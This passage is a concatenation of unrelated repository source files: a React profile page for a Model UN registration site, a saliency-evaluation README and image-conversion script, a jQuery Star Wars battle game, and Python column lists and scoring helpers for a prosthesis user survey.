_id: '',//真id
idnum: '',//身份证
phone: '',//电话
email: '',//邮箱
apply_type: '',//申请类型
apply_state: '', //申请状态
qq: '',//QQ
wechat: ' ',//微信
skype: ' ',//Skype
province: '',//学校所在省份
school: '',//学校
age: '',//年龄
grade: '',//年级
guardian: '',//监护人姓名
phoneg: '',//监护人电话
belong2team:null,//是否属于任何团队
team_info: [{
teamname: '',
numofMembers: '',
leader: ''
}],//团队信息
rm_name: '',//室友姓名
rm_email: '',//室友邮箱
rm_phone: '',//室友电话
comments: '',//备注
teams: [{
value:'',
label:'',
}]//现存在的代表团名称列表
}
componentDidMount() {
axios.get('/personalInfo')//路由不知道
.then(res=>{
this.setState(
res.data
)})
}
conten = () =>{
return(
<div style={{ padding: 49, background: '#fff' }}>
<div style={{ margin:0}} ><Icon type="file-text" style={{fontSize:'32px'}}/><h1 style={{display:'inline',fontSize:'32px'}}> 个人资料 </h1></div>
<br /><br /><br />
<Card title={<h2>基本信息</h2>} bordered={true}>
<Col span={5}>
<p style={{fontSize:'16px'}}>姓名</p>
<p style={{fontSize:'16px'}}>性别</p>
<p style={{fontSize:'16px'}}>用户ID</p>
<p style={{fontSize:'16px'}}>身份证号</p>
<p style={{fontSize:'16px'}}>手机号</p>
<p style={{fontSize:'16px'}}>邮箱</p>
<p style={{fontSize:'16px'}}>申请类型</p>
<p style={{fontSize:'16px'}}>申请状态</p>
<p style={{fontSize:'16px'}}>QQ</p>
<p style={{fontSize:'16px'}}>微信</p>
<p style={{fontSize:'16px'}}>Skype</p>
<p style={{fontSize:'16px'}}>学校所在省份</p>
<p style={{fontSize:'16px'}}>学校</p>
<p style={{fontSize:'16px'}}>年龄</p>
<p style={{fontSize:'16px'}}>年级</p>
<p style={{fontSize:'16px'}}>监护人姓名</p>
<p style={{fontSize:'16px'}}>监护人电话</p>
<br />
<a href="/personalCenter/profileEdit">更改信息</a>
</Col>
<Col span={19}>
<p style={{fontSize:'16px'}}>{this.state.name} </p>
<p style={{fontSize:'16px'}}>{this.state.gender} </p>
<p style={{fontSize:'16px'}}>{this.state._id} </p>
<p style={{fontSize:'16px'}}>{this.state.idnum} </p>
<p style={{fontSize:'16px'}}>{this.state.phone} </p>
<p style={{fontSize:'16px'}}>{this.state.email} </p>
<p style={{fontSize:'16px'}}>{this.state.apply_type} </p>
<p style={{fontSize:'16px'}}>{this.state.apply_state} </p>
<p style={{fontSize:'16px'}}>{this.state.qq} </p>
<p style={{fontSize:'16px'}}>{this.state.wechat} </p>
<p style={{fontSize:'16px'}}>{this.state.skype} </p>
<p style={{fontSize:'16px'}}>{this.state.province} </p>
<p style={{fontSize:'16px'}}>{this.state.school} </p>
<p style={{fontSize:'16px'}}>{this.state.age} </p>
<p style={{fontSize:'16px'}}>{this.state.grade} </p>
<p style={{fontSize:'16px'}}>{this.state.guardian} </p>
<p style={{fontSize:'16px'}}>{this.state.phoneg} </p>
</Col>
</Card>
<br />
<Card title={<h2>团队信息</h2>} bordered={true}>
<Col span={5}>
<p style={{fontSize:'16px'}}>团队名字</p>
<p style={{fontSize:'16px'}}>团队人数</p>
<p style={{fontSize:'16px'}}>领队姓名</p>
<br />
<a href="/personalCenter/profileTeam">加入团队</a>
</Col>
<Col span={19}>
<p style={{fontSize:'16px'}}>{this.state.team_info[0].teamname} </p>
<p style={{fontSize:'16px'}}>{this.state.team_info[0].numofMembers} </p>
<p style={{fontSize:'16px'}}>{this.state.team_info[0].leader} </p>
</Col>
</Card>
<br />
<Card title={<h2>室友信息</h2>} bordered={true}>
<Col span={5}>
<p style={{fontSize:'16px'}}>姓名</p>
<p style={{fontSize:'16px'}}>邮箱/QQ</p>
<p style={{fontSize:'16px'}}>手机号</p>
</Col>
<Col span={19}>
<p style={{fontSize:'16px'}}>{this.state.rm_name} </p>
<p style={{fontSize:'16px'}}>{this.state.rm_email} </p>
<p style={{fontSize:'16px'}}>{this.state.rm_phone} </p>
</Col>
</Card>
</div>
)
}
render(){
return(
<PerCenter defaultKey="2" content={<this.conten />}/>
);
}
};
export default Profile;
<file_sep>/umunc/src/dashboard/table/DelegateTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class DelegateTable extends React.Component{
mappingContent = (ajaxdata) => {
let {id,name,teamname,chineserole,apply_state,apply_date,committee,_id}=ajaxdata;
return({key:id,id,name,teamname,chineserole,apply_state,apply_date,committee,_id})
}
render(){
return(
<DashboardLayout tableTitle="代表列表" defaultKey="1" defaultOpenKeys="sub1" content={<TableItem url="/delegateInfo" format={0} mappingContent = {this.mappingContent}/>}/>
);
}
}
export default DelegateTable;
| 13e5760666501d2076588807e60f0aa66e587793 | [
"JavaScript"
] | 45 | JavaScript | MrTriskin/UMUNC_setup-infomag | ccec62833d5d557c61dd9db3962ca05d0e6caa99 | 3b51d62442829c3123d57631007406cfc2926635 |
refs/heads/master | <file_sep># 计算saliency准确率的方法 #
*测试此代码可令 DATASET_NAME 取 test*
1. 运行test_matlab_en.m,测试matlab环境
2. 要测得数据存放如下所示
所有图片都不要包含隐藏图片
执行以下命令后,再计算
```bash
cd ./input
find ./ -name ".*" | xargs rm
```
- 输入原图: input/images/[DATASET_NAME]
- gt-fixation: input/bmaps/[DATASET_NAME]
- gt-density-map: input/dmaps/[DATASET_NAME]
- pred-density-map: input/smaps/[DATASET_NAME]/[MODEL_NAME]
3. 运行下面的代码,
```matlab
main('[DATASET_NAME',0)
```
4. 运行结果
*ouput 文件夹目录*
- [datasetname]_results_all.csv 代表了整体数据集的平均值
- 其他的是每个样本对应准确率的值
<file_sep>from glob import glob
import cv2
import os
imgs = glob('/Volumes/data/Projects/ProjectsCV/saliency/input/smaps/SALICON/sam/*.jpg')
for img in imgs:
image = cv2.imread(img, 0)
dst = img.replace('jpg', 'png')
dst = dst.replace('sam', 'sam2')
# print(dst)
cv2.imwrite(filename=dst, img=image)<file_sep>n = 1000
ans = n
while n > 1:
ans = ans * n + 1
ans = ans ** 0.5
n -= 1
print(ans) | 0a6c82a3658241d2dcad4b662d2b25e24452e070 | [
"Markdown",
"Python"
] | 3 | Markdown | 6clc/saliency | d2ac826d6aa030ae300a3e4c29be63e34143fcb1 | d71d9f6106f64c2a332decb25b89e271488cc4f2 |
refs/heads/master | <repo_name>EvanDAB/star-wars-game<file_sep>/assets/javascript/game2.js
//No Array
var dispE, health, attackPower, counterAP, rey, mace, kylo, star, playerH, playerA, defenderC, defenderH, fightProgress;
$(document).ready(function () {
dispE = $('.enemies');
image = $('.character');
attackPower = 0;
rey = $('#rey').attr('data-hp');
$('#rey').text(rey);
console.log(rey);
mace = $('#mace-windu').attr('data-hp');
$('#mace-windu').text(mace);
kylo = $('#kylo-ren').attr('data-hp');
$('#kylo-ren').text(kylo);
star = $('#starKiller').attr('data-hp');
$('#starKiller').text(star);
// playerH = $('.player').contents().filter('p').attr('data-hp'); -doesnt do anything to solve the problem
})
$(document).on('click','.character', function assignCharacter () {
var player = $(this);
player.removeClass('character');
player.addClass('player');
player.attr('data-hp');
playerH = $('.player').contents().filter('p').attr('data-hp');
if($('.character-selected').text() == '') $('.character-selected').append(player);
if (dispE.text() == '') {
dispE.append($('.character'));
$('.character').addClass('enemy');
}
});
$(document).on('click', '.enemy', function assignDefender() {
var defender = $(this).addClass('defender');
// took away the player class from defender
defender.removeClass('player');
//
if ($("#defender").text() == '') {
$("#defender").append(defender);
}
defenderH = $('.defender').contents().filter('p').attr('data-hp');
playerA = $('.player').contents().filter('p').attr('data-attack');
defenderC = $('.defender').contents().filter('p').attr('data-counter');
defenderN = $('.defender').contents().filter('p').attr('data-name');
});
$(document).on('click', '#attack-button', function (){
//player and defender health
playerH = parseInt(playerH) - parseInt(defenderC);
// $('.player').contents().filter('p').attr('data-hp', playerH);
attackPower = parseInt(attackPower) + parseInt(playerA);
defenderH = parseInt(defenderH) - parseInt(attackPower);
fightProgress = $('#fightProgress');
fightProgress.html(
'You attacked ' + defenderN + ' for ' + attackPower + ' points.' + '<br>' +
defenderN + ' counterattacked for ' + defenderC + ' points.'
);
if(defenderH <= 0) {
alert(`You killed ${defenderN}`);
$('.defender').remove('.defender');
fightProgress.html(
'You killed ' + defenderN + ' for ' + attackPower + ' points. ' + '<br>' +
defenderN + `'s final counter attack was ` + defenderC + ' points. ' + '<br>' +
"Who's Next?"
);
}
$('.player').contents().filter('p').attr('data-hp', playerH);
$('.player').contents().filter('p').text(playerH);
$('.defender').contents().filter('p').text(defenderH);
//now make sure player health doubles everytime you click it
});
<file_sep>/assets/javascript/game.js
//No Array
var dispE, health, attackPower, counterAP, rey, mace, kylo, star, playerH, playerA, defenderC, defenderH, fightProgress;
$(document).ready(function () {
dispE = $('.enemies');
image = $('.character');
attackPower = 0;
rey = $('#rey').data('hp');
$('#rey').text(rey);
mace = $('#mace-windu').data('hp');
$('#mace-windu').text(mace);
kylo = $('#kylo-ren').data('hp');
$('#kylo-ren').text(kylo);
star = $('#starKiller').data('hp');
$('#starKiller').text(star);
playerH = $('.player').contents().filter('p').data('hp');
})
$(document).on('click','.character', function assignCharacter () {
var player = $(this);
player.removeClass('character');
player.addClass('player');
player.attr('data-hp');
// playerH = $('.player').contents().filter('p').data('hp'); //doesnt do anything to solve the problem
if($('.character-selected').text() == '') $('.character-selected').append(player);
if (dispE.text() == '') {
dispE.append($('.character'));
$('.character').addClass('enemy');
}
});
$(document).on('click', '.enemy', function assignDefender() {
var defender = $(this).addClass('defender');
// took away the player class from defender
defender.removeClass('player');
//
if ($("#defender").text() == '') {
$("#defender").append(defender);
}
defenderH = $('.defender').contents().filter('p').data('hp');
playerA = $('.player').contents().filter('p').data('attack');
defenderC = $('.defender').contents().filter('p').data('counter');
defenderN = $('.defender').contents().filter('p').data('name');
});
$(document).on('click', '#attack-button', function (){
//player and defender health
// $('.player').contents().filter('p').attr('data-hp', function() {return playerH});
$('.player').contents().filter('p').text(playerH);
playerH = playerH - defenderC;
attackPower = attackPower + playerA;
defenderH = defenderH - attackPower;
fightProgress = $('#fightProgress');
fightProgress.html(
'You attacked ' + defenderN + ' for ' + attackPower + ' points.' + '<br>' +
defenderN + ' counterattacked for ' + defenderC + ' points.'
);
if(defenderH <= 0) {
alert(`You killed ${defenderN}`);
$('.defender').remove('.defender');
fightProgress.html(
'You killed ' + defenderN + ' for ' + attackPower + ' points. ' + '<br>' +
defenderN + `'s final counter attack was ` + defenderC + ' points. ' + '<br>' +
"Who's Next?"
);
}
$('.defender').contents().filter('p').text(defenderH);
//now make sure player health doubles everytime you click it
}); | aa35bb34f0cc1bec2f3c1d68701b46cfab4e310b | [
"JavaScript"
] | 2 | JavaScript | EvanDAB/star-wars-game | 73978e73c56b99f2d0075cdc5db4db4248e9d821 | 804598f633ca5ca2076329d8371ee6537efd3cc8 |
refs/heads/master | <repo_name>justinlboyer/MotionControl<file_sep>/doYouUseProsOpus.py
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 28 10:42:07 2017
@author: justinlboyer
"""
from vectorSubsets import yesNo, taskFull
import numpy as np
# this script computes opus weighted on whether or not the respondent uses their prosthesis for the task
# yes = 1
# no = 0
#
# Inputs
#
# df = data frame
# start = where to start subsetting the tasks, for opus start=0
# end = where to stop subsetting the task, fro opus end=20
# newColumnNameKey = new column name
def useProsthesisScore(df, start, end, newColumnNameKey):
dt = np.dot(df[taskFull[start:end]],df[yesNo[start:end]].transpose())
df[newColumnNameKey] = np.diag(dt)
return
<file_sep>/fixBlankValues.py
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 9 10:23:37 2017
@author: justinlboyer
"""
from loadData import sht1, shtNoNan
from vectorSubsets import yesNo
# create a function to replace any text with 1 and NA with 0
def fixValuesAnyWord(df,variable):
df[variable] = df[variable].replace('\w',1, regex=True)
df[variable] = df[variable].fillna(0)
return;
# function that replaces yes with 1 and NA and no with 0
def fixValuesYesNo(df,variable):
df[variable] = df[variable].replace('[Y|y]es',1, regex=True)
df[variable] = df[variable].replace('^(?![y|Y]es).*',0, regex=True)
df[variable] = df[variable].fillna(0)
return;
<file_sep>/vectorSubsets.py
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 9 08:58:15 2017
@author: justinlboyer
"""
# List of all attachements
TDs = ['DoYouHaveAHosmerHook',
'DoYouHaveATRSHook',
'DoYouHaveAMotionControlETD',
'DoYouHaveAOttoBockGreifer',
'NoElectricTerminalDevice',
"DoNotKnowTypeOfBodyPoweredTerminalDevice",
"NoBodyPoweredTerminalDevice",
"OtherBodyPoweredTerminalDevice",
"DoYouHaveAOttoBockAxon",
"DoNotKnowTypeOfElectricTerminalDevice",
"OtherElectricTerminalDevice",
"DoNotKnowHandPassiveFunction",
"NoHandPassiveFunction",
"BrandHandPassiveFunction",
"BrandHandPassiveFunction2",
"DoNotKnowHandBodyPowered",
"NoHandBodyPowered",
"BrandHandBodyPowered",
"BrandHandBodyPowered2",
"DoYouHaveAMotionControlSingleGrip",
"DoYouHaveAOttoBockSingleGrip",
"DoNotKnowBrandSingleGrip",
"DoNotHaveSingleGrip",
"BrandSingleGrip",
"DoYouHaveAMultiArticulatingBebionicHand",
"DoYouHaveAMultiAriculatingILimbHand",
"DoYouHaveAMultiArticulatingMichelangeloHand",
"DoNotKnowMultiArticulatingHand",
"NoMultiArticulatingHand",
"DoYouHaveAFlexionWristPrimary",
"DoYouHaveAMultiFlexWristPrimary",
"DoYouHaveAMyoWristRotatorPrimary",
"NoWristPrimary",
"DoYouHaveAFlexionWristSecondary",
"DoYouHaveAMultiFlexWristSecondary",
"DoYouHaveAMyoWristRotatorSecondary",
"NoWristSecondary"]
# list of all Do Yous..
doYous = ['DoYouHaveAHosmerHook',
'DoYouHaveATRSHook',
'DoYouHaveAMotionControlETD',
'DoYouHaveAOttoBockGreifer',
"DoYouHaveAOttoBockAxon",
"DoYouHaveAMotionControlSingleGrip",
"DoYouHaveAOttoBockSingleGrip",
"DoYouHaveAMultiArticulatingBebionicHand",
"DoYouHaveAMultiAriculatingILimbHand",
"DoYouHaveAMultiArticulatingMichelangeloHand"]
# initialize yes and no vector
yesNo = ["UsuallyTieShoesWithDevice",
"UsuallyAttachZipperDevice",
"UsuallyButtonShirtDevice",
"UsuallyPutOnSocksDevice",
"UsuallyBrushHairDevice",
"UsuallyPlaceToothpasteDevice",
"UsuallyBrushTeethDevice",
"UsuallyShave",
"UsuallyUseMobilePhoneDevice",
"UsuallyCarryLargeBoxDevice",
"UsuallyOpenEnvelopeDevice",
"UseScissorsDevice",
"UsuallyFoldBathTowelDevice",
"UsuallyUseHammerDevice",
"UsuallyStirWithDevice",
"UsuallyPourDrinkDevice",
"UsuallyUseForkDevice",
"UsuallyDrinkWithDevice",
"UsuallyCutMeatWithDevice",
"UsuallyUseKeyboardDevice",
"UsuallyGrabObjectsWetEnviDevice",
"UsuallyGrabObjectsDirtEnviDevice",
"UsuallyUseFingerTipsDevice",
"UsuallyPerformArtsCraftsDevice",
"UsuallyParticipateInHobbiesUsingDevice",
"UsuallyUseDeviceRiding",
"UsuallyUseDeviceOutdootActivity",
"UsuallyPerfomrHomeImprovementDevice",
"IUseASecondaryDevice",
"SecondaryDevice_UsuallyTieShoesWithDevice",
"SecondaryDevice_UsuallyAttachZipperDevice",
"SecondaryDevice_UsuallyButtonShirtDevice",
"SecondaryDevice_UsuallyPutOnSocksDevice",
"SecondaryDevice_UsuallyBrushHairDevice",
"SecondaryDevice_UsuallyPlaceToothpasteDevice",
"SecondaryDevice_UsuallyBrushTeethDevice",
"SecondaryDevice_UsuallyShave",
"SecondaryDevice_UsuallyUseMobilePhoneDevice",
"SecondaryDevice_UsuallyCarryLargeBoxDevice",
"SecondaryDevice_UsuallyOpenEnvelopeDevice",
"SecondaryDevice_UseScissorsDevice",
"SecondaryDevice_UsuallyFoldBathTowelDevice",
"SecondaryDevice_UsuallyUseHammerDevice",
"SecondaryDevice_UsuallyStirWithDevice",
"SecondaryDevice_UsuallyPourDrinkDevice",
"SecondaryDevice_UsuallyUseForkDevice",
"SecondaryDevice_UsuallyDrinkWithDevice",
"SecondaryDevice_UsuallyCutMeatWithDevice",
"SecondaryDevice_UsuallyUseKeyboardDevice",
"SecondaryDevice_UsuallyGrabObjectsWetEnviDevice",
"SecondaryDevice_UsuallyGrabObjectsDirtEnviDevice",
"SecondaryDevice_UsuallyUseFingerTipsDevice",
"SecondaryDevice_UsuallyPerformArtsCraftsDevice",
"SecondaryDevice_UsuallyParticipateInHobbiesUsingDevice",
"SecondaryDevice_UsuallyUseDeviceRiding",
"SecondaryDevice_UsuallyUseDeviceOutdootActivity",
"SecondaryDevice_DoYouPerfomOtherLesiureActivitiesDevice",
"IAmABilateralWearer"]
# initilize opus vector
opus = ["TieShoesWithDevice",
"AttachZipper",
"ButtonShirt",
"PutOnSocks",
"BrushCombHair",
"PlaceToothpasteToothbrush",
"BrushTeeth",
"Shave",
"UseMobilPhone",
"CarryLargeBox",
"OpenEnvelope",
"UseScissors",
"FoldBathTowel",
"UseHammerToDriveNail",
"StirFoodInBowl",
"PourDrinkFromBottle",
"UseForkAndSpoon",
"DrinkFromPaperPlastic",
"CutMeat",
"UseKeyboard"]
importanceOpus = ["ImportanceTyingShoeLaces",
"ImportanceAttachingZipper",
"ImportanceButtoningButtons",
"ImportancePuttingOnSocks",
"ImportanceBrushingHair",
"ImportancePuttingToothpasteToothbrush",
"ImportanceBrushingTeeth",
"ImportanceShaving",
"ImportanceUsingMobile",
"ImportanceCarryingLargeBox",
"ImportanceOpeningAnEnvelope",
"ImportanceUsingScissors",
"ImportanceFoldingBathTowel",
"ImportanceUsingHammer",
"ImportanceStirring",
"ImportancePouring",
"ImportanceUsingForkSpoon",
"ImportanceDrinkingFromPaperPlastic",
"ImportanceCuttingMeat",
"ImportanceUsingKeyboard"]
taskFull = ["TieShoesWithDevice",
"AttachZipper",
"ButtonShirt",
"PutOnSocks",
"BrushCombHair",
"PlaceToothpasteToothbrush",
"BrushTeeth",
"Shave",
"UseMobilPhone",
"CarryLargeBox",
"OpenEnvelope",
"UseScissors",
"FoldBathTowel",
"UseHammerToDriveNail",
"StirFoodInBowl",
"PourDrinkFromBottle",
"UseForkAndSpoon",
"DrinkFromPaperPlastic",
"CutMeat",
"UseKeyboard",
"GrabObjectsWetEnvironment",
"GrabObjectsDirtyEnvironment",
"UseFingerTips",
"CanYouParticipateArtsCrafts",
"CanYouParticipateInHobbies",
"GoRidingMotorcycleATVetc",
"ParticipateOutdoorActivities",
"PerformHomeImprovement"]
importanceFull = ["ImportanceTyingShoeLaces",
"ImportanceAttachingZipper",
"ImportanceButtoningButtons",
"ImportancePuttingOnSocks",
"ImportanceBrushingHair",
"ImportancePuttingToothpasteToothbrush",
"ImportanceBrushingTeeth",
"ImportanceShaving",
"ImportanceUsingMobile",
"ImportanceCarryingLargeBox",
"ImportanceOpeningAnEnvelope",
"ImportanceUsingScissors",
"ImportanceFoldingBathTowel",
"ImportanceUsingHammer",
"ImportanceStirring",
"ImportancePouring",
"ImportanceUsingForkSpoon",
"ImportanceDrinkingFromPaperPlastic",
"ImportanceCuttingMeat",
"ImportanceUsingKeyboard",
"ImportanceGraspInWetEnvironment",
"ImportanceGraspInDirtyEnvironment",
"ImportanceFingerTips",
"ImportanceParticipatingArtsCrafts",
"ImportanceParticipateInHobbies",
"ImportanceGoingRiding",
"ImportanceParticipatingInOutdoorActivities",
"ImportancePerformingHomeImprovement"]
isVector = ["IsDeviceDependable",
"TrainedWellOnDevice",
"ComfortableWearingDeviceInPublice",
"EasilyTolerateWeightOfDevice",
"EasilyPerformRoutineCareOfDevice",
"ICanEasilyPerformNecessaryTasksWithDevice",
"SecondaryDeviceIsDependeable",
"IWasTrainedWellOnMySecondary",
"IAmComfortableWearingMySecondaryInPublic",
"ICanTolerateTheWeightOfMySecondary",
"ICanEasilyPerformRoutineCareOfMySecondary",
"ICanPerformMostTasksWithMySecondary"]
degreeOfPerformance = ['Easy', 'Slightly Difficult', 'Very Difficult', 'Cannot Perform',
'Choose Not to Perform']
articulatingHandsNoETD = ['bebionic Hand',
'i-limb Hand',
'Micelangelo Hand']
hooksNoETD = ['Otto Bock Greifer',
'Otto Bock Axon Hook',
'Hosmer Hook',
'TRS Hook']
electricHandSG = ['Motion Control (MC) Hand',
'Otto Bock Hand']
electricHandMA = ['bebionic Hand',
'i-limb Hand',
'Michelangelo Hand']
electricHooks = ["Motion Control (MC) ETD",
"Otto Bock Axon Hook",
"Otto Bock Greifer"]
electricHooksNoETD = ["Otto Bock Greifer",
"Otto Bock Axon Hook"]
bodyPoweredHooks = ["TRS Hook",
"Hosmer Hook",
"Body-powered Hand"]
unilateralTasks = ["BrushCombHair",
"PourDrinkFromBottle",
"UseForkAndSpoon",
"DrinkFromPaperPlastic",
"GrabObjectsWetEnvironment",
"GrabObjectsDirtyEnvironment",
"UseFingerTips"]
namesSht1 = ["RespondentID",
"CollectorID",
"StartDate",
"EndDate",
"IPAdress",
"EmailAddress",
"First Name",
"LastName",
"EmptyColumn",
"Age",
"Gender",
"WorkStatus",
"Occupation",
"SideOfMissingLimb",
"ReasonLimbMissing",
"DominantSideMissing",
"LevelOfLimbLoss",
"TypeOfElbow",
"BrandOfElectricElbow",
"BrandOfElectricElbowSpecify",
"BrandOfBodyPoweredElbow",
"BrandOfBodyPoweredElbowSpecify",
"NumberOfDaysOfProsthesisIsWorn",
"NumberOfHoursProsthesisIsWorn",
"DoYouHaveAHosmerHook",
"DoYouHaveATRSHook",
"DoNotKnowTypeOfBodyPoweredTerminalDevice",
"NoBodyPoweredTerminalDevice",
"OtherBodyPoweredTerminalDevice",
"OtherBodyPoweredTerminalDevice2",
"DoYouHaveAMotionControlETD",
"DoYouHaveAOttoBockAxon",
"DoYouHaveAOttoBockGreifer",
"DoNotKnowTypeOfElectricTerminalDevice",
"NoElectricTerminalDevice",
"OtherElectricTerminalDevice",
"OtherElectricTerminalDevice2",
"DoNotKnowHandPassiveFunction",
"NoHandPassiveFunction",
"BrandHandPassiveFunction",
"BrandHandPassiveFunction2",
"DoNotKnowHandBodyPowered",
"NoHandBodyPowered",
"BrandHandBodyPowered",
"BrandHandBodyPowered2",
"DoYouHaveAMotionControlSingleGrip",
"DoYouHaveAOttoBockSingleGrip",
"DoNotKnowBrandSingleGrip",
"DoNotHaveSingleGrip",
"BrandSingleGrip",
"BrandSingleGrip2",
"DoYouHaveAMultiArticulatingBebionicHand",
"DoYouHaveAMultiAriculatingILimbHand",
"DoYouHaveAMultiArticulatingMichelangeloHand",
"DoNotKnowMultiArticulatingHand",
"NoMultiArticulatingHand",
"BrandMultiArticulatingHand",
"BrandMultiArticulatingHand2",
"PrimaryTerminalDevice",
"PrimaryTerminalDeviceSpecify",
"NumberOfHoursWearingTerminalDevice",
"DateBeganWearingPrimaryDevice",
"SecondaryDevice",
"SecondaryDeviceSpecify",
"NumberOfHoursWearingSecondaryDevice",
"DateBeganWearingSecondaryDevice",
"DoYouHaveAFlexionWristPrimary",
"DoYouHaveAMultiFlexWristPrimary",
"DoYouHaveAMyoWristRotatorPrimary",
"NoWristPrimary",
"DoYouHaveAFlexionWristSecondary",
"DoYouHaveAMultiFlexWristSecondary",
"DoYouHaveAMyoWristRotatorSecondary",
"NoWristSecondary",
"TieShoesWithDevice",
"UsuallyTieShoesWithDevice",
"AttachZipper",
"UsuallyAttachZipperDevice",
"ButtonShirt",
"UsuallyButtonShirtDevice",
"PutOnSocks",
"UsuallyPutOnSocksDevice",
"BrushCombHair",
"UsuallyBrushHairDevice",
"PlaceToothpasteToothbrush",
"UsuallyPlaceToothpasteDevice",
"BrushTeeth",
"UsuallyBrushTeethDevice",
"Shave",
"UsuallyShave",
"DoYouUseDeviceForAnyOtherDressingSelfCare",
"UseMobilPhone",
"UsuallyUseMobilePhoneDevice",
"CarryLargeBox",
"UsuallyCarryLargeBoxDevice",
"OpenEnvelope",
"UsuallyOpenEnvelopeDevice",
"UseScissors",
"UseScissorsDevice",
"FoldBathTowel",
"UsuallyFoldBathTowelDevice",
"UseHammerToDriveNail",
"UsuallyUseHammerDevice",
"DoYouUseDeviceForOtherHomePersonalTasks",
"StirFoodInBowl",
"UsuallyStirWithDevice",
"PourDrinkFromBottle",
"UsuallyPourDrinkDevice",
"UseForkAndSpoon",
"UsuallyUseForkDevice",
"DrinkFromPaperPlastic",
"UsuallyDrinkWithDevice",
"CutMeat",
"UsuallyCutMeatWithDevice",
"DoYouUseDeviceForCuttingMeat",
"UseKeyboard",
"UsuallyUseKeyboardDevice",
"GrabObjectsWetEnvironment",
"UsuallyGrabObjectsWetEnviDevice",
"GrabObjectsDirtyEnvironment",
"UsuallyGrabObjectsDirtEnviDevice",
"UseFingerTips",
"UsuallyUseFingerTipsDevice",
"DoYouUseDeviceForOtherWorkTasks",
"CanYouParticipateArtsCrafts",
"SpecifyWhichArtsCraftsParticipate",
"UsuallyPerformArtsCraftsDevice",
"CanYouParticipateInHobbies",
"SpecifiyWhichHobbies",
"UsuallyParticipateInHobbiesUsingDevice",
"GoRidingMotorcycleATVetc",
"SpecfiyTypeRiding",
"UsuallyUseDeviceRiding",
"ParticipateOutdoorActivities",
"SpecifyOutdoorActivities",
"UsuallyUseDeviceOutdootActivity",
"PerformHomeImprovement",
"SpecifyTypeOfHomeImprovement",
"UsuallyPerfomrHomeImprovementDevice",
"DoYouPerfomOtherLesiureActivitiesDevice",
"ImportanceTyingShoeLaces",
"ImportanceAttachingZipper",
"ImportanceButtoningButtons",
"ImportancePuttingOnSocks",
"ImportanceBrushingHair",
"ImportancePuttingToothpasteToothbrush",
"ImportanceBrushingTeeth",
"ImportanceShaving",
"ImportanceUsingMobile",
"ImportanceCarryingLargeBox",
"ImportanceOpeningAnEnvelope",
"ImportanceUsingScissors",
"ImportanceFoldingBathTowel",
"ImportanceUsingHammer",
"ImportanceStirring",
"ImportancePouring",
"ImportanceUsingForkSpoon",
"ImportanceDrinkingFromPaperPlastic",
"ImportanceCuttingMeat",
"ImportanceUsingKeyboard",
"ImportanceGraspInWetEnvironment",
"ImportanceGraspInDirtyEnvironment",
"ImportanceFingerTips",
"ImportanceParticipatingArtsCrafts",
"ImportanceParticipateInHobbies",
"ImportanceGoingRiding",
"ImportanceParticipatingInOutdoorActivities",
"ImportancePerformingHomeImprovement",
"IsDeviceDependable",
"TrainedWellOnDevice",
"ComfortableWearingDeviceInPublice",
"EasilyTolerateWeightOfDevice",
"EasilyPerformRoutineCareOfDevice",
"ICanEasilyPerformNecessaryTasksWithDevice",
"IWouldLikeToPerformButCannotTheFollowing",
"IUseASecondaryDevice",
"SecondaryDevice_TieShoesWithDevice",
"SecondaryDevice_UsuallyTieShoesWithDevice",
"SecondaryDevice_AttachZipper",
"SecondaryDevice_UsuallyAttachZipperDevice",
"SecondaryDevice_ButtonShirt",
"SecondaryDevice_UsuallyButtonShirtDevice",
"SecondaryDevice_PutOnSocks",
"SecondaryDevice_UsuallyPutOnSocksDevice",
"SecondaryDevice_BrushCombHair",
"SecondaryDevice_UsuallyBrushHairDevice",
"SecondaryDevice_PlaceToothpasteToothbrush",
"SecondaryDevice_UsuallyPlaceToothpasteDevice",
"SecondaryDevice_BrushTeeth",
"SecondaryDevice_UsuallyBrushTeethDevice",
"SecondaryDevice_Shave",
"SecondaryDevice_UsuallyShave",
"SecondaryDevice_DoYouUseDeviceForAnyOtherDressingSelfCare",
"SecondaryDevice_UseMobilPhone",
"SecondaryDevice_UsuallyUseMobilePhoneDevice",
"SecondaryDevice_CarryLargeBox",
"SecondaryDevice_UsuallyCarryLargeBoxDevice",
"SecondaryDevice_OpenEnvelope",
"SecondaryDevice_UsuallyOpenEnvelopeDevice",
"SecondaryDevice_UseScissors",
"SecondaryDevice_UseScissorsDevice",
"SecondaryDevice_FoldBathTowel",
"SecondaryDevice_UsuallyFoldBathTowelDevice",
"SecondaryDevice_UseHammerToDriveNail",
"SecondaryDevice_UsuallyUseHammerDevice",
"SecondaryDevice_DoYouUseDeviceForOtherHomePersonalTasks",
"SecondaryDevice_StirFoodInBowl",
"SecondaryDevice_UsuallyStirWithDevice",
"SecondaryDevice_PourDrinkFromBottle",
"SecondaryDevice_UsuallyPourDrinkDevice",
"SecondaryDevice_UseForkAndSpoon",
"SecondaryDevice_UsuallyUseForkDevice",
"SecondaryDevice_DrinkFromPaperPlastic",
"SecondaryDevice_UsuallyDrinkWithDevice",
"SecondaryDevice_CutMeat",
"SecondaryDevice_UsuallyCutMeatWithDevice",
"SecondaryDevice_DoYouUseDeviceForCuttingMeat",
"SecondaryDevice_UseKeyboard",
"SecondaryDevice_UsuallyUseKeyboardDevice",
"SecondaryDevice_GrabObjectsWetEnvironment",
"SecondaryDevice_UsuallyGrabObjectsWetEnviDevice",
"SecondaryDevice_GrabObjectsDirtyEnvironment",
"SecondaryDevice_UsuallyGrabObjectsDirtEnviDevice",
"SecondaryDevice_UseFingerTips",
"SecondaryDevice_UsuallyUseFingerTipsDevice",
"SecondaryDevice_DoYouUseDeviceForOtherWorkTasks",
"SecondaryDevice_CanYouParticipateArtsCrafts",
"SecondaryDevice_SpecifyWhichArtsCraftsParticipate",
"SecondaryDevice_UsuallyPerformArtsCraftsDevice",
"SecondaryDevice_CanYouParticipateInHobbies",
"SecondaryDevice_SpecifiyWhichHobbies",
"SecondaryDevice_UsuallyParticipateInHobbiesUsingDevice",
"SecondaryDevice_GoRidingMotorcycleATVetc",
"SecondaryDevice_SpecfiyTypeRiding",
"SecondaryDevice_UsuallyUseDeviceRiding",
"SecondaryDevice_ParticipateOutdoorActivities",
"SecondaryDevice_SpecifyOutdoorActivities",
"SecondaryDevice_UsuallyUseDeviceOutdootActivity",
"SecondaryDevice_PerformHomeImprovement",
"SecondaryDevice_SpecifyTypeOfHomeImprovement",
